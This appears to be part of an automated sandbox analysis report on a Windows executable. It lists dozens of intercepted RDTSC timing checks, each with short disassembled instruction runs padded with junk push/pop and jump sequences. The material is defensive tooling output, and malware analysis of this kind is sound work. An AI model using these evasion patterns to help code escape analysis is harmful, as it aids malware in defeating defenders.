Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EDE2EF second address: EDE2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F9AB7C second address: F9AB81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FA797D second address: FA7995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F7BE163C2B8h 0x0000000e jng 00007F7BE163C2B8h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FA9925 second address: FA9929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FA9656 second address: FA965C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FA965C second address: FA9660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FA9660 second address: FA9679 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FBA4EA second address: FBA511 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7BE1432926h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FBA511 second address: FBA519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FBA519 second address: FBA51D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC0C43 second address: FC0C59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC0C59 second address: FC0C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F7BE143291Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC0C69 second address: FC0C79 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7BE163C2BAh 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC0C79 second address: FC0C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC51A7 second address: FC51AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC531C second address: FC536D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 jng 00007F7BE1432916h 0x0000000e jo 00007F7BE1432916h 0x00000014 jmp 00007F7BE1432923h 0x00000019 jbe 00007F7BE1432916h 0x0000001f popad 0x00000020 push ebx 0x00000021 push edx 0x00000022 pop edx 0x00000023 jmp 00007F7BE1432929h 0x00000028 pop ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d push esi 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC54C7 second address: FC54E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC5811 second address: FC581A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC581A second address: FC5826 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F7BE163C2B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC5826 second address: FC5831 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F7BE1432916h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC5831 second address: FC583E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC583E second address: FC5842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC59CE second address: FC59D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC5B17 second address: FC5B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007F7BE1432923h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC5B37 second address: FC5B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jbe 00007F7BE163C2B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC5B47 second address: FC5B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC5B4D second address: FC5B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC9441 second address: FC9449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FC9449 second address: FC944E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FD433D second address: FD435D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ecx 0x0000000c pop edi 0x0000000d pushad 0x0000000e jmp 00007F7BE143291Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007F7BE1432916h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FD859E second address: FD85AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F7BE163C2B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FDA067 second address: FDA096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F7BE143291Ah 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 jmp 00007F7BE1432925h 0x00000018 jnp 00007F7BE1432916h 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EDACC8 second address: EDACD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F7BE163C2B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FE78D8 second address: FE78DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FE78DC second address: FE78F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FE98DA second address: FE98DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FE9395 second address: FE9399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FE9399 second address: FE93E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F7BE1432916h 0x0000000d jmp 00007F7BE143291Ch 0x00000012 jmp 00007F7BE1432922h 0x00000017 popad 0x00000018 push ecx 0x00000019 jmp 00007F7BE143291Eh 0x0000001e pop ecx 0x0000001f popad 0x00000020 push esi 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 pushad 0x00000025 popad 0x00000026 push edx 0x00000027 pop edx 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FEAE8C second address: FEAE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1000C13 second address: 1000C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FFFAA1 second address: FFFAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FFFAA5 second address: FFFAAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: FFFBFD second address: FFFC08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7BE163C2B6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 10002FA second address: 1000300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1000300 second address: 1000304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1000304 second address: 1000321 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432920h 0x00000007 jnc 00007F7BE1432916h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 10005C8 second address: 10005D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1004C16 second address: 1004C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1004C1A second address: 1004C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1004C20 second address: 1004C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1004C26 second address: 1004C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1004E91 second address: 1004E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1004E96 second address: 1004EA9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BE163C2B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1004EA9 second address: 1004EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1004EAD second address: 1004EB7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7BE163C2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 1005246 second address: 100524A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 100524A second address: 1005274 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+122D1DB3h], edx 0x00000010 push dword ptr [ebp+122D1E3Bh] 0x00000016 mov dword ptr [ebp+122D21B7h], ebx 0x0000001c push 340FC351h 0x00000021 jng 00007F7BE163C2BEh 0x00000027 push esi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 10069F7 second address: 10069FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 100663E second address: 100665F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F7BE163C2C5h 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1B289 second address: F1B28E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 526044F second address: 5260455 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5260455 second address: 52604B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 655Bh 0x00000007 pushfd 0x00000008 jmp 00007F7BE1432920h 0x0000000d adc si, E928h 0x00000012 jmp 00007F7BE143291Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007F7BE1432925h 0x00000025 adc ax, 3146h 0x0000002a jmp 00007F7BE1432921h 0x0000002f popfd 0x00000030 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52604B2 second address: 52604F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 6DBEFC01h 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F7BE163C2BCh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F7BE163C2C7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52604F4 second address: 52604FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52806CA second address: 52806D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52806D1 second address: 52806E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7BE143291Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52806E5 second address: 528072B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F7BE163C2C4h 0x0000000d mov ebp, esp 0x0000000f jmp 00007F7BE163C2C0h 0x00000014 xchg eax, ecx 0x00000015 jmp 00007F7BE163C2C0h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 528072B second address: 528072F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 528072F second address: 528074B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 528074B second address: 5280750 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280750 second address: 5280804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7BE163C2C7h 0x0000000a xor ecx, 1F31B69Eh 0x00000010 jmp 00007F7BE163C2C9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ecx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F7BE163C2BCh 0x00000021 xor esi, 47E06898h 0x00000027 jmp 00007F7BE163C2BBh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F7BE163C2C8h 0x00000033 xor si, 12F8h 0x00000038 jmp 00007F7BE163C2BBh 0x0000003d popfd 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 pushfd 0x00000044 jmp 00007F7BE163C2C2h 0x00000049 add esi, 7BFC6D58h 0x0000004f jmp 00007F7BE163C2BBh 0x00000054 popfd 0x00000055 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280804 second address: 5280841 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx esi, dx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d mov edi, esi 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 pushfd 0x00000013 jmp 00007F7BE1432922h 0x00000018 and ch, FFFFFFE8h 0x0000001b jmp 00007F7BE143291Bh 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 movsx edi, ax 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280841 second address: 5280847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280847 second address: 528084B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 528084B second address: 528084F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 528084F second address: 5280878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b jmp 00007F7BE1432927h 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280878 second address: 528087C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 528087C second address: 5280882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280882 second address: 528089E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 6A9Fh 0x00000007 mov cl, 11h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7BE163C2BDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 528089E second address: 52808E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 pushfd 0x00000006 jmp 00007F7BE1432923h 0x0000000b add ch, 0000004Eh 0x0000000e jmp 00007F7BE1432929h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edx 0x0000001c pop ecx 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52808E0 second address: 52808E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52808E6 second address: 52808EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527000F second address: 5270021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 64h 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270021 second address: 5270027 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270027 second address: 527003A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BE163C2BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527003A second address: 527003E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527003E second address: 5270059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7BE163C2BEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270059 second address: 527005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527005D second address: 5270063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
